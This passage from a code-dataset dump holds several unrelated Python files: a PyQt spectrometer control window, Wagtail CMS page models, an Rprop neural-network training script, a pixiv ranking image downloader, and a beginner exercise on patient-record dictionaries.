self.SPEX.gotoWN(desiredWN)\n\n# self.statusSig.emit([self.tGot, self.SPEX.currentPositionSteps])\n self.tGot.setText('Got: {}'.format(self.SPEX.currentPositionWN))\n self.ui.sbGoto.setEnabled(True)\n self.ui.bGo.setEnabled(True)\n\n def updateStatusBar(self, args):\n '''Update the two status bar things\n first element of arg shold be reference to QLabel to eidt\n second should be what to write'''\n pre = 'Wanted: '\n if id(args[0]==id(self.tGot)):\n pre = 'Got: '\n args[0].setText(pre+str(args[1]))\n\n def updateStatusBarBoth(self, want, got):\n '''Updates the status bar when both are pass.\n Unique from updateStatusBar() in that it needs both simultanously.\n Previous one is used for asynchronous updating'''\n self.tWant.setText('Wanted: '+want)\n self.tGot.setText('Got: ' + got)\n\n def setPosFromSB(self):\n nir, thz = self.settings.get(\"nir_lambda\", 0), self.settings.get(\"fel_lambda\", 0)\n if 0 in [nir, thz]:\n # hsouldn't ever get here, since it shouldn't be connected, but prevent erros\n return\n want = float(nir) + int(self.ui.sbSB.value())*float(thz)\n self.ui.sbGoto.setValue(want)\n\n\n def closeEvent(self, event):\n print('Close event handling')\n #A little hacky way to let the main window know that this window has closed\n #the legitimate way to do it would be to emit a signal and have the main window\n #connect the signal, incase this class ever gets used to be called by a class\n #wwhich doens't have self.SPEXWindow\n if not self.parent ==None:\n self.parent.SPEXWindow = None\n# self.hide()\n# else:\n# self.close()\n self.close()\n #Restart the scope to trigger as normal.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ndef main():\n import sys\n\n\n app = QtWidgets.QApplication(sys.argv)\n ex = SPEXWin()\n sys.exit(app.exec_())\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"SPEXWin.py","file_name":"SPEXWin.py","file_ext":"py","file_size_in_byte":7801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"505010681","text":"from __future__ import unicode_literals\n\nfrom django.db import models\nfrom modelcluster.fields import ParentalKey\nfrom wagtail.wagtailcore.fields import RichTextField\n\nfrom wagtail.wagtailcore.models import Page\nfrom wagtail.wagtailadmin.edit_handlers import FieldPanel, InlinePanel, MultiFieldPanel\nfrom wagtail.wagtailforms.models import AbstractEmailForm, AbstractFormField\nfrom wagtail.wagtailimages.edit_handlers import ImageChooserPanel\nfrom .forms import ContactForm\n\n\nclass HomePage(Page):\n\n section_1_title = models.CharField(max_length=20, blank=False, default=\"Best Collaboration\")\n section_1_subtitle_1 = models.CharField(max_length=20, blank=False, default=\"Designers\")\n section_1_subtitle_2 = models.CharField(max_length=20, blank=False, default=\"Coders\")\n section_1_subtitle_3 = models.CharField(max_length=20, blank=False, default=\"Artists\")\n section_1_image = models.ForeignKey(\n \"wagtailimages.Image\",\n null=True,\n blank=True,\n on_delete=models.SET_NULL,\n related_name='+'\n )\n\n section_2_title = models.CharField(max_length=20, blank=False, default=\"Craftsmanship\")\n section_2_subtitle_1 = models.CharField(max_length=20, blank=False, default=\"Skillful\")\n section_2_subtitle_2 = models.CharField(max_length=20, blank=False, default=\"Professional\")\n section_2_subtitle_3 = models.CharField(max_length=20, blank=False, default=\"Artistic\")\n section_2_image = models.ForeignKey(\n \"wagtailimages.Image\",\n null=True,\n blank=True,\n on_delete=models.SET_NULL,\n related_name='+'\n )\n\n section_3_title = models.CharField(max_length=20, blank=False, default=\"Creativity\")\n section_3_subtitle_1 = models.CharField(max_length=20, blank=False, default=\"Unique\")\n section_3_subtitle_2 = models.CharField(max_length=20, blank=False, default=\"Personal\")\n section_3_subtitle_3 = models.CharField(max_length=20, blank=False, default=\"Stand Out\")\n section_3_image = models.ForeignKey(\n \"wagtailimages.Image\",\n null=True,\n blank=True,\n on_delete=models.SET_NULL,\n related_name='+'\n )\n\n section_4_title = models.CharField(max_length=20, blank=False, default=\"Accountability\")\n section_4_subtitle_1 = models.CharField(max_length=20, blank=False, default=\"Responsible\")\n section_4_subtitle_2 = models.CharField(max_length=20, blank=False, default=\"Reliable\")\n section_4_subtitle_3 = models.CharField(max_length=20, blank=False, default=\"Persistent\")\n section_4_image = models.ForeignKey(\n \"wagtailimages.Image\",\n null=True,\n blank=True,\n on_delete=models.SET_NULL,\n related_name='+'\n )\n\n content_panels = [\n FieldPanel('title', classname=\"full title\"),\n\n FieldPanel('section_1_title', classname=\"full\"),\n FieldPanel('section_1_subtitle_1', classname=\"full\"),\n FieldPanel('section_1_subtitle_2', classname=\"full\"),\n FieldPanel('section_1_subtitle_3', classname=\"full\"),\n ImageChooserPanel('section_1_image'),\n\n FieldPanel('section_2_title', classname=\"full\"),\n FieldPanel('section_2_subtitle_1', classname=\"full\"),\n FieldPanel('section_2_subtitle_2', classname=\"full\"),\n FieldPanel('section_2_subtitle_3', classname=\"full\"),\n ImageChooserPanel('section_2_image'),\n\n FieldPanel('section_3_title', classname=\"full\"),\n FieldPanel('section_3_subtitle_1', classname=\"full\"),\n FieldPanel('section_3_subtitle_2', classname=\"full\"),\n FieldPanel('section_3_subtitle_3', classname=\"full\"),\n ImageChooserPanel('section_3_image'),\n\n FieldPanel('section_4_title', classname=\"full\"),\n FieldPanel('section_4_subtitle_1', classname=\"full\"),\n FieldPanel('section_4_subtitle_2', classname=\"full\"),\n FieldPanel('section_4_subtitle_3', classname=\"full\"),\n ImageChooserPanel('section_4_image'),\n\n ]\n\n\nclass ServicesPage(Page):\n\n @property\n def get_contact_page(self):\n return ContactPage.objects.live()\n\n section_1_sub_heading = models.CharField(max_length=500, blank=False,\n default=\"We create digital experiences for brands and companies by using creativity and technology.\")\n section_1_image = models.ForeignKey(\n \"wagtailimages.Image\",\n null=True,\n blank=True,\n on_delete=models.SET_NULL,\n related_name='+'\n )\n\n section_2_heading = models.CharField(max_length=500, blank=False,\n default=\"Wide range of design and development services provided with a personal experience.\")\n section_2_sub_heading_1 = models.CharField(max_length=20, blank=False, default=\"Branding\")\n section_2_description_1 = models.TextField()\n section_2_sub_heading_2 = models.CharField(max_length=20, blank=False, default=\"Web Design\")\n section_2_description_2 = models.TextField()\n section_2_sub_heading_3 = models.CharField(max_length=20, blank=False, default=\"Web Programming\")\n section_2_description_3 = models.TextField()\n section_2_sub_heading_4 = models.CharField(max_length=20, blank=False, default=\"Marketing\")\n section_2_description_4 = models.TextField()\n section_2_image = models.ForeignKey(\n \"wagtailimages.Image\",\n null=True,\n blank=True,\n on_delete=models.SET_NULL,\n related_name='+'\n )\n\n content_panels = [\n FieldPanel('title', classname=\"full title\"),\n FieldPanel('section_1_sub_heading', classname=\"full title\"),\n ImageChooserPanel('section_1_image'),\n\n FieldPanel('section_2_heading', classname=\"full\"),\n\n FieldPanel('section_2_sub_heading_1', classname=\"full\"),\n FieldPanel('section_2_description_1', classname=\"full\"),\n\n FieldPanel('section_2_sub_heading_2', classname=\"full\"),\n FieldPanel('section_2_description_2', classname=\"full\"),\n\n FieldPanel('section_2_sub_heading_3', classname=\"full\"),\n FieldPanel('section_2_description_3', classname=\"full\"),\n\n FieldPanel('section_2_sub_heading_4', classname=\"full\"),\n FieldPanel('section_2_description_4', classname=\"full\"),\n\n ImageChooserPanel('section_2_image'),\n ]\n\n\nclass SpecialOfferPage(Page):\n main_header_1 = models.CharField(max_length=20, blank=False, default=\"Special\")\n main_header_2 = models.CharField(max_length=20, blank=False, default=\"Offer\")\n main_sub_header = models.CharField(max_length=50, blank=False, default=\"Limited Time Offer\")\n\n main_image = models.ForeignKey(\n \"wagtailimages.Image\",\n null=True,\n blank=True,\n on_delete=models.SET_NULL,\n related_name='+'\n )\n\n content_panels = [\n FieldPanel('title', classname=\"full title\"),\n FieldPanel('main_header_1', classname=\"full\"),\n FieldPanel('main_header_2', classname=\"full\"),\n FieldPanel('main_sub_header', classname=\"full\"),\n\n ImageChooserPanel('main_image'),\n ]\n\n\nclass TeamPage(Page):\n taehwan_avatar = models.ForeignKey(\n \"wagtailimages.Image\",\n null=True,\n blank=True,\n on_delete=models.SET_NULL,\n related_name='+'\n )\n\n josh_avatar = models.ForeignKey(\n \"wagtailimages.Image\",\n null=True,\n blank=True,\n on_delete=models.SET_NULL,\n related_name='+'\n )\n\n kimmy_avatar = models.ForeignKey(\n \"wagtailimages.Image\",\n null=True,\n blank=True,\n on_delete=models.SET_NULL,\n related_name='+'\n )\n\n sean_avatar = models.ForeignKey(\n \"wagtailimages.Image\",\n null=True,\n blank=True,\n on_delete=models.SET_NULL,\n related_name='+'\n )\n\n content_panels = [\n ImageChooserPanel('taehwan_avatar'),\n ImageChooserPanel('josh_avatar'),\n ImageChooserPanel('kimmy_avatar'),\n ImageChooserPanel('sean_avatar'),\n ]\n\n\nclass FormField(AbstractFormField):\n page = ParentalKey('ContactPage', related_name='form_fields')\n\n\nclass ContactPage(AbstractEmailForm):\n thank_you_text = RichTextField(blank=True)\n contact_image = models.ForeignKey(\n \"wagtailimages.Image\",\n null=True,\n blank=True,\n on_delete=models.SET_NULL,\n related_name='+'\n )\n\n contact_icon = models.ForeignKey(\n \"wagtailimages.Image\",\n null=True,\n blank=True,\n on_delete=models.SET_NULL,\n related_name='+'\n )\n\n\n contact_header = models.CharField(max_length=20, blank=False, default=\"Contact us\")\n contact_description = models.CharField(max_length=100, blank=True, default=\"Contact us if you have any question, recommendations or just for saying hello.\")\n\n\nContactPage.content_panels = [\n FieldPanel('title', classname=\"full title\"),\n FieldPanel('contact_header', classname=\"full\"),\n FieldPanel('contact_description', classname=\"full\"),\n ImageChooserPanel('contact_image'),\n ImageChooserPanel('contact_icon'),\n\n FieldPanel('thank_you_text', classname=\"full\"),\n InlinePanel('form_fields', label=\"Form fields\"),\n MultiFieldPanel([\n FieldPanel('to_address', classname=\"full\"),\n FieldPanel('from_address', classname=\"full\"),\n FieldPanel('subject', classname=\"full\"),\n ], \"Email\")\n]\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"home/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":9307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"471243444","text":"import numpy as np\nimport random\nimport matplotlib.pyplot as plt\nimport math\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib import cm\n#%matplotlib inline\n\nfrom pdb import set_trace\n\nrandom.seed(0)\n\nclass net:\n\tdef __init__(self, inputdata, outputdata, size, ss, numofiter, dim, hiddenlayerlist, modeltype):\n\t\tself.input = inputdata\n\t\tself.output = outputdata\n\t\tself.size = size\n\t\tself.ss = ss\n\t\tself.iter = numofiter\n\t\tself.dim = dim\n\t\tself.nd = len(hiddenlayerlist[0])\n\t\tself.modeltype = modeltype\n\n\t\tself.loss = []\n\t\tself.hiddenunits = hiddenlayerlist\n\t\t\n\t\t#randomly generate the weights and biases based on the layers and units\n\t\twb = []\n\t\twb.append(np.random.rand(dim + 1, self.hiddenunits[0][0]) * 2 - 1)\n\t\tif (self.nd > 1):\n\t\t\tfor i in range(1,self.nd):\n\t\t\t\twb.append(np.random.rand(self.hiddenunits[0][i - 1] + 1, self.hiddenunits[0][i]) * 2 - 1)\n\t\t\n\t\twb.append(np.random.rand(self.hiddenunits[0][-1] + 1, 1) * 2 - 1)\n\t\tself.wb = wb\n\t\n\t#only forward to get the result\n\tdef forwardewithcomputedW(self, testx):\n\t\tones = np.ones((np.shape(testx)[0], 1))\n\t\t\n\t\tnewinput = np.append(testx, ones, axis=1)\n\t\t\n\t\tz = np.dot(newinput, self.wb[0])\n\t\ta = np.maximum(z, 0)\n\t\t\n\t\tfor i in range(1, self.nd):\n\t\t\ta = np.append(a, ones, axis=1)\n\t\t\tz = np.dot(a, self.wb[i])\n\t\t\ta = np.maximum(z, 0)\n\t\t\n\t\ta = np.append(a, ones, axis=1)\n\t\tz = np.dot(a, self.wb[-1])\n\t\tif self.modeltype == 'c':\n\t\t\ta = sigmoid(z)\n\t\t\ta[a > 0.5] = 1\n\t\t\ta[a <= 0.5] = 0\n\t\telse:\n\t\t\ta = z\n\t\t\n\t\treturn a\n\t\t\n\t#forward and backward to train the network\n\tdef backpropagation(self):\n\t\tones = np.ones((self.size, 1))\n\t\t\n\t\tfor e in range(self.iter):\n\t\t\t#forward\n\t\t\t#two lists to store a and z\n\t\t\talist = [self.input]\n\t\t\tnewinput = np.append(self.input, ones, axis=1)\n\t\t\tzlist = []\n\t\t\t\n\t\t\tz = np.dot(newinput, self.wb[0])\n\t\t\ta = np.maximum(z, 0)\n\t\t\talist.append(a)\n\t\t\tzlist.append(z)\n\t\t\t\n\t\t\tfor i in range(1, self.nd):\n\t\t\t\ta = np.append(a, ones, axis=1)\n\t\t\t\tz = np.dot(a, self.wb[i])\n\t\t\t\tzlist.append(z)\n\t\t\t\ta = np.maximum(z, 0)\n\t\t\t\talist.append(a)\n\t\t\n\t\t\ta = np.append(a, ones, axis=1)\n\t\t\tz = np.dot(a, self.wb[-1])\n\t\t\t\n\t\t\tzlist.append(z)\n\t\t\t\n\t\t\tif self.modeltype == 'c':\n\t\t\t\ta = sigmoid(z)\n\t\t\t\ta = checkzero(a)\n\t\t\t\talist.append(a)\n\t\t\t\t#modified loss(classification)\n\t\t\t\tself.loss.append((-1) * np.mean(((1 - self.output) * np.log(1 - alist[-1])) + self.output * np.log(alist[-1])))\n\t\t\t\toutputerror = ((1 - self.output)/(1 - alist[-1]) - self.output / alist[-1]) * sigmoidD(zlist[-1])\n\t\t\telse:\n\t\t\t\t#loss(Regression)\n\t\t\t\talist.append(a)\n\t\t\t\tself.loss.append( np.mean(0.5 * np.square(self.output - zlist[-1]), axis=0))\n\t\t\t\toutputerror = (zlist[-1] - self.output)\n\t\t\t\n\t\t\t\n\t\t\t#backward\n\t\t\terrorlist = [outputerror]\n\t\t\tfor j in range(1, self.nd + 1):\n\t\t\t\t\n\t\t\t\ttempW = np.delete(np.transpose(self.wb[-j]), -1, axis=1)\n\t\t\t\terror = np.multiply(np.dot(errorlist[-j], tempW), ReluD(zlist[-j - 1]))\n\t\t\t\terrorlist = [error] + errorlist\n\t\t\t\n\t\t\t########################## Rrop- algorithm begin ##########################\n\t\t\t#update W and b in Rprop algorithm\n\t\t\tnpos, nneg = 1.2, 0.5\n\t\t\tdmax, dmin = 50.0, 0.000001\n\t\t\tinitial_d = 0.0001\n\n\t\t\t# grad[k][i][j] means the kth layer, the gradient of w_ij\n\t\t\t# prevgrad means the previous gradient\n\t\t\t# d means the delta in the learning rule, it is always > 0\n\t\t\t# dw is d * sign(gradient)\n\t\t\tgrad, prevgrad, d, dw = [], [], [], []\n\t\t\tfor k in range(0, len(self.wb)):\n\t\t\t\t# np.shape(self.wb[k])[0] - 1, because the last row of self.wb[k] is bias, we only update weights\n\t\t\t\tgrad.append( np.zeros((np.shape(self.wb[k])[0] - 1, np.shape(self.wb[k])[1])) )\n\t\t\t\tprevgrad.append( np.zeros(np.shape(grad[k])) )\n\t\t\t\tdw.append( np.zeros(np.shape(grad[k])) )\n\t\t\t\td.append( np.ones(np.shape(grad[k])) * initial_d )\n\t\t\t\n\t\t\tfor k in range(0, len(self.wb)):\n\t\t\t\tgrad[k] = np.dot(np.transpose(alist[k]), errorlist[k])\n\t\t\t\tprev_grad_multiply_grad = prevgrad[k] * grad[k]\n\t\t\t\t\n\t\t\t\tgt_index = prev_grad_multiply_grad > 0\n\t\t\t\tlt_index = prev_grad_multiply_grad < 0\n\t\t\t\teq_index = prev_grad_multiply_grad == 0\n\t\t\t\t\n\t\t\t\t## prev_grad * grad > 0 ##\n\t\t\t\td[k][gt_index] = np.minimum(d[k][gt_index] * npos, dmax)\n\t\t\t\t## prev_grad * grad < 0 ##\n\t\t\t\td[k][lt_index] = np.maximum(d[k][lt_index] * nneg, dmin)\n\n\t\t\t\tdw[k] = d[k] * np.sign(grad[k])\n\t\t\t\t\n\t\t\t\tself.wb[k][0:-1, :] = self.wb[k][0:-1, :] - dw[k]\n\t\t\t\tself.wb[k][-1, :] = self.wb[k][-1, :] - self.ss * np.mean(errorlist[k], axis=0) / self.size\n\t\t\t\t\n\t\t\t\tprevgrad[k] = grad[k]\n\t\t\t########################## Rrop- algorithm end ##########################\n\t\t\n\t\t#plot the Loss\n\t\tplt.figure(3)\n\t\tplt.xlabel('Iterations')\n\t\tplt.ylabel('Loss')\n\t\tplt.title('Loss Plot')\n\t\tplt.plot(range(1, self.iter + 1), self.loss)\n\t\tplt.show()\n\ndef generatedata(size, dim, margin):\n\tsize = int(size)\n\tones = np.ones((size // 2, 1))\n\tzeros = np.zeros((size // 2, 1))\n\t\n\t#check margin here, if not zero, use margin to make data separable, if it is zero, make it not separable\n\tif margin != 0:\n\t\tif dim == 1:\n\t\t\tx1 = np.random.rand(size // 2, 1) * 3 + margin / 2\n\t\t\tx2 = np.random.rand(size // 2, 1) *(-3) - margin / 2\n\t\t\tx = np.vstack((x1, x2))\n\t\t\ty = np.vstack((ones, zeros))\n\t\t\n\t\telif dim == 2:\n\t\t\ts1 = np.random.rand(size // 2, 1) * 2 + margin / 2 \n\t\t\ts2 = np.random.rand(size // 2, 1) * (-2) - margin / 2\n\t\t\tx1 = np.random.rand(size, 1) * 4 - 2\n\t\t\tcoff = np.random.rand(1, 1) * 4 -2\n\t\t\tb = np.reshape(np.random.random(1) * 4 - 2, (1, 1))\n\t\t\tx2 = np.dot(x1, coff)+ np.asscalar(b) + np.vstack((s1, s2))\n\t\t\tx = np.append(x1, x2, axis=1)\n\t\t\ts1.fill(1)\n\t\t\ts2.fill(0)\n\t\t\ty = np.vstack((s1, s2))\n\telse:\n\t\tif dim == 1:\n\t\t\tx1 = np.random.rand(size // 4, 1) + 1\n\t\t\tx2 = np.random.rand(size // 4, 1) * (-1)\n\t\t\tx3 = np.random.rand(size // 4, 1)\n\t\t\tx4 = np.random.rand(size // 4, 1) * (-1) - 1\n\t\t\t\n\t\t\tx = np.vstack((np.vstack((np.vstack((x1, x2)), x3)), x4))\n\t\t\ty = np.vstack((ones, zeros))\n\t\t\n\t\telif dim == 2:\n\t\t\tx1 = np.random.rand(size, 1) * 8 - 4\n\t\t\ts1 = np.random.rand(size // 2, 1) * 2\n\t\t\ts2 = np.random.rand(size // 2, 1) * (-2)\n\t\t\tx2 = np.reshape(3 * np.sum(np.sin(x1), axis=1), (size, 1)) + np.vstack((s1, s2))\n\t\t\tx = np.append(x1, x2, axis=1)\n\t\t\ts1.fill(1)\n\t\t\ts2.fill(0)\n\t\t\ty = np.vstack((s1, s2))\n\t\n\treturn x, y\n\ndef generatedataForRegression(size,dim):\n\tif dim == 1:\n\t\tx =np.reshape(np.linspace(-math.pi, math.pi, num=size), (size, dim))\n\telse:\n\t\t#x = np.random.rand(size,dim)*10 -5\n\t\tX = np.arange(-5, 5, 0.2)\n\t\tY = np.arange(-5, 5, 0.2)\n\t\tX, Y = np.meshgrid(X, Y)\n\t\ta = X.flatten()\n\t\tb = Y.flatten()\n\t\tx = np.append(np.reshape(a,(len(a),1)), np.reshape(b,(len(b),1)), axis=1)\n\t\tsize = 2500\n\t\n\ty = np.reshape(np.sum(np.sin(x), axis=1), (size,1))\n\tfig = plt.figure(figsize=(10,10))\n\tax = plt.axes(projection='3d')\n\tout = np.reshape(y, np.shape(X))\n\tax.plot_surface(X, Y, out,rstride=1, cstride=1,cmap=cm.coolwarm, linewidth=0, antialiased=False)\n\treturn x, y \n\n\n\n\ndef ReluD(x):\n\tx[x > 0] = 1\n\tx[x <= 0] = 0\n\treturn x\n\ndef checkzero(x):\n\tx[x == 0] = 1e-16\n\tx[x == 1] = 1 - 1e-16\n\treturn x\n\ndef sigmoid(x):\n\treturn 1 / (1 + np.exp(-x))\n\ndef sigmoidD(x):\n\t'''Derivative of the sigmoid function.'''\n\treturn sigmoid(x) - np.multiply(sigmoid(x), sigmoid(x))\n\n\ndef main():\n\t#set hyperparameter at here \n\thiddenlayerlist = [[16,32,16]]\t#change the number of hidden layer, and nodes in the layer\n\t\n\tss = 1e-4\t\t #step Size\n\tnumofiter = 1000 #iterations\n\tsize = 2500\t\t #input size\n\tdim = 2\t\t\t #input dimension\n\tmargin = 0\t\t #change Margin at here, change this value to 0 to make the data not linear separable\n\t\n\tmodeltype = input('Classification or Regression? (input c or r)')\n\t\n\t\n\tif modeltype == 'c':\n\t\t\n\t\t#generate the input and output for classification\n\t\tinputdata, outputdata = generatedata(size, dim, margin)\n\n\t\t#plot to viaualize if it is 1D\n\t\tprint('Training Data Plot: ')\n\t\tplt.figure(1)\n\t\tif dim == 1:\n\t\t\t\n\t\t\tplt.scatter(inputdata[: size // 2, 0],np.ones((size // 2, 1)), color='r')\n\t\t\tplt.scatter(inputdata[size // 2 :, 0],np.ones((size // 2, 1)), color='b')\n\t\t\tplt.legend(['Label 1', 'Label 0'], loc='upper right')\n\t\telif dim == 2:\n\t\t\n\t\t\tplt.scatter(inputdata[: size // 2, 0],inputdata[: size // 2, 1], color='r')\n\t\t\tplt.scatter(inputdata[size // 2 :, 0],inputdata[size // 2 :, 1], color='b')\n\t\t\tplt.legend(['Label 1', 'Label 0'], loc='upper right')\n\t\n\t\tnetwork = net(inputdata, outputdata, size, ss, numofiter, dim, hiddenlayerlist, modeltype)\n\t\tnetwork.backpropagation()\n\t\toutput = network.forwardewithcomputedW(inputdata)\n\t\n\t\t#plot network computed result\n\t\toutput = np.append(inputdata,output, axis=1)\n\t\tprint('Network computed output: ')\n\t\n\t\tplt.figure(4)\n\t\tif dim ==1:\n\t\t\n\t\t\toutput1 = output[output[:, -1] == 1]\n\t\t\toutput2 = output[output[:, -1] == 0]\n\t\t\tplt.scatter(output1[:, 0],np.ones((np.shape(output1)[0], 1)), color='r')\n\t\t\tplt.scatter(output2[:, 0],np.ones((np.shape(output2)[0], 1)), color='b')\n\t\t\tplt.legend(['Label 1', 'Label 0'], loc='upper right')\n\t\t\n\t\tif dim ==2:\n\t\t\toutput1 = output[output[:, -1] == 1]\n\t\t\toutput2 = output[output[:, -1] == 0]\n\t\t\tplt.scatter(output1[:, 0], output1[:, 1], color='r')\n\t\t\tplt.scatter(output2[:, 0], output2[:, 1], color='b')\n\t\t\tplt.legend(['Label 1', 'Label 0'], loc='upper right')\n\t\n\t\tplt.show()\n\t\n\telif modeltype == 'r':\n\t\t#generate the input and output for regression\n\t\tinputdata, outputdata = generatedataForRegression(size,dim)\n\t\tnetwork = net(inputdata, outputdata, size, ss, numofiter,dim, hiddenlayerlist, modeltype)\n\t\tnetwork.backpropagation()\n\t\tif dim == 2:\n\t\t\tfig = plt.figure(figsize=(10,10))\n\t\t\tax = plt.axes(projection='3d')\n\t\t\tX = np.arange(-4, 4, 0.1)\n\t\t\tY = np.arange(-4, 4, 0.1)\n\t\t\tX, Y = np.meshgrid(X, Y)\n\t\t\ta = X.flatten()\n\t\t\tb = Y.flatten()\n\t\t\ttestx = np.append(np.reshape(a,(len(a),1)), np.reshape(b,(len(b),1)), axis=1)\n\t\t\toutputy = np.reshape(network.forwardewithcomputedW(testx), np.shape(X))\t \n\t\t\tax.plot_surface(X, Y, outputy,rstride=1, cstride=1,cmap=cm.coolwarm, linewidth=0, antialiased=False)\n\t\t\n\t\n\n\nif __name__ == '__main__':\n\tmain()","sub_path":"Rprop-.py","file_name":"Rprop-.py","file_ext":"py","file_size_in_byte":9824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"523661376","text":"class PropClassMaker:\n @staticmethod\n def Create(class_name:str, properties):\n cls_type = type(class_name, (object,), {}) \n# cls_type['__slots__'] = properties # TypeError: 'type' object does not support item assignment\n# cls_type.__dict__['__slots__'] = properties # TypeError: 'mappingproxy' object does not support item assignment \n return cls_type\n# def __create_property(self, cls_type, prop_name):\n# cls_type.__dict__[prop_name] = property(lambda x: , setx, delx, \"I'm the 'x' property.\")\n\n\ncls = PropClassMaker.Create('Human', ['name', 'age'])\nprint(cls)\nprint(dir(cls()))\n\n#import types\n#print(dir(types.GetSetDescriptorType))\n","sub_path":"16/01/PropClassMaker.py","file_name":"PropClassMaker.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"19443006","text":"# -*- coding: utf-8 -*-\r\n\r\nimport os\r\nimport sys\r\n\r\nsys.dont_write_bytecode = True\r\n\r\nfrom pixivpy3 import *\r\n\r\n_REQUESTS_KWARGS = {\r\n # 'proxies': {\r\n # 'https': 'http://127.0.0.1:8888',\r\n # },\r\n # 'verify': False, # PAPI use https, an easy way is disable requests SSL verify\r\n}\r\n\r\ndef download():\r\n date = str(input('Please input a date(e.g 2017-02-05)\\n'))\r\n aapi = AppPixivAPI(**_REQUESTS_KWARGS)\r\n json_result = aapi.illust_ranking('day', date=date)\r\n directory = \"pixiv\"\r\n if not os.path.exists(directory):\r\n os.makedirs(directory)\r\n\r\n # download top3 day rankings to 'pixiv' dir\r\n for illust in json_result.illusts[:3]:\r\n image_url = illust.meta_single_page.get('original_image_url', illust.image_urls.large)\r\n print(u\"%s: done\" % illust.id)\r\n # aapi.download(image_url)\r\n url_basename = os.path.basename(image_url)\r\n extension = os.path.splitext(url_basename)[1]\r\n name = \"illust_id_%d_%s%s\" % (illust.id, illust.title, extension)\r\n aapi.download(image_url, path=directory, name=name)\r\n\r\nif __name__ == '__main__':\r\n download()","sub_path":"pixiv_daily_ranking.py","file_name":"pixiv_daily_ranking.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"73147481","text":"# REMINDER: Only do one challenge at a time! Save and test after every one.\n\n\n# For this challenge, we are going to build up a set of functions to create\n# code for a semi-realistic situation: We will be building helper functions to\n# manage data about a patient at a hospital. You can imagine the final software\n# being useful for nurses and doctors to keep track of information on patients.\n\n# The information about patients will be in a dictionary that is passed around\n# via parameters to and from functions.\n\nprint('Challenge 1 -------------')\n# Challenge 1:\n# Uncomment and examine the following code. See if you can explain what every\n# line is doing.\n\ndef patient_initialize(patient, first_name, last_name):\n patient['first_name'] = first_name\n patient['last_name'] = last_name\n patient['is_checked_in'] = False\n\npatient = {}\n# patient_initialize(patient)\nprint(patient)\n\nprint('Challenge 2 -------------')\n# Challenge 2:\n# Rewrite patient_initialize so that it has 2 more arguments: first_name, and\n# last_name. Write 2 more invocations of the function to create a patient for\n# yourself and the student sitting next to you. Use print statements to confirm\n# that your function is working correctly.\n\neric = {}\npatient_initialize(eric, 'Eric', 'Idle')\nprint('Eric', eric)\nterry = {}\npatient_initialize(terry, 'Terry', 'Gilliam')\nprint('Terry', terry)\n\n\nprint('Challenge 3 -------------')\n# Challenge 3:\n# Write a new function called \"patient_check_in\". This function should take a\n# patient dictionary as an argument. and then modify that argument to make\n# \"is_checked_in\" set to be True.\n# Again, use print to verify it's working.\n\ndef patient_check_in(patient):\n patient['is_checked_in'] = True\n\npatient_check_in(eric)\nprint('Eric', eric)\npatient_check_in(terry)\nprint('Terry', terry)\n\n\nprint('Challenge 4 -------------')\n# Challenge 4:\n# Write a new function called \"patient_nurse_check_up\". It should take a\n# patient dictionary as an argument. It should then ask the following\n# questions. It can be by using input() and storing the result in separate\n# variables.\n# 1. Does the patient smoke?\n# 2. Does the patient drink?\n# 3. Patient blood-pressure?\n# After each question, it should store that information into the patient\n# dictionary.\n# Again, use print to verify it's working.\n\ndef patient_nurse_check_up(patient):\n patient['does_smoke'] = input('Does the patient smoke? ')\n patient['does_drink'] = input('Does the patient drink? ')\n patient['blood_pressure'] = int(input('Patient blood-pressure? '))\n\n#patient_nurse_check_up(eric)\n#print('Eric', eric)\n#patient_nurse_check_up(terry)\n#print('Terry', terry)\n\n\n\n\nprint('Challenge 5 -------------')\n# Challenge 5:\n# Time to bring it all together. Write a new function called \"patient_visit\".\n# Using inputs, it should ask the name of the patient, then initialize the\n# patient with that information. It should then use all of the above functions\n# to \"process\" the patient.\n# Hint: Feel free to comment out the previous invocations of the above function\n# Add a prints as needed to report back on the process.\n\n\ndef patient_visit(patient):\n first_name = input('First name? ')\n last_name = input('Last name? ')\n patient_initialize(patient, first_name, last_name)\n patient_check_in(patient)\n patient_nurse_check_up(patient)\n\npatient = {}\npatient_visit(patient) # Disabled due to bonus challenge 1\n\nprint('-------------')\n# Bonus Challenge 1:\n# Create another function called \"patient_doctor_diagnose\". It should only\n# accept patients who have already been checked in and visited a nurse. It\n# should allow a doctor to enter a \"diagnosis\".\n\ndef patient_doctor_diagnose(patient):\n if not patient['is_checked_in']:\n print('Need to check in first.')\n return\n if 'blood_pressure' not in patient:\n print('Patient must visit nurse first')\n return\n\n patient['recommendation'] = ''\n patient['diagnosis'] = ''\n if patient['does_smoke'] == 'yes':\n patient['recommendation'] = 'Quitting smoking.'\n\n if patient['blood_pressure'] > 180:\n patient['diagnosis'] = 'Hypertension Crisis'\n patient['recommendation'] = 'Immediate treatment in ER'\n elif patient['blood_pressure'] > 140:\n patient['diagnosis'] = 'Stage 2 Hypertension'\n elif patient['blood_pressure'] > 130:\n patient['diagnosis'] = 'Stage 1 Hypertension'\n\n extra_notes = input('Extra physician notes? ')\n patient['extra_notes'] = extra_notes\n print('----- RESULTS -----')\n print(patient)\n\npatient_doctor_diagnose(patient)\n\nprint('-------------')\n# Bonus Challenge 2:\n# Where does our data go? At the end of every check up, we should store it in a\n# file. Maybe use JSON, or CSV?\n\nimport csv\ndef store_to_file(patient):\n # Get read to save patient into given CSV file\n opened_file = open('patient.csv', 'w+')\n csv_writer = csv.writer(opened_file)\n\n # Use this technique with the \"zip\" function to extract the keys and values\n # from the dictionary. This ensures they have the same order (as opposed to\n # using keys and values independently)\n keys, values = zip(*patient.items())\n\n # Write the headers\n csv_writer.writerow(keys)\n # And write the values\n 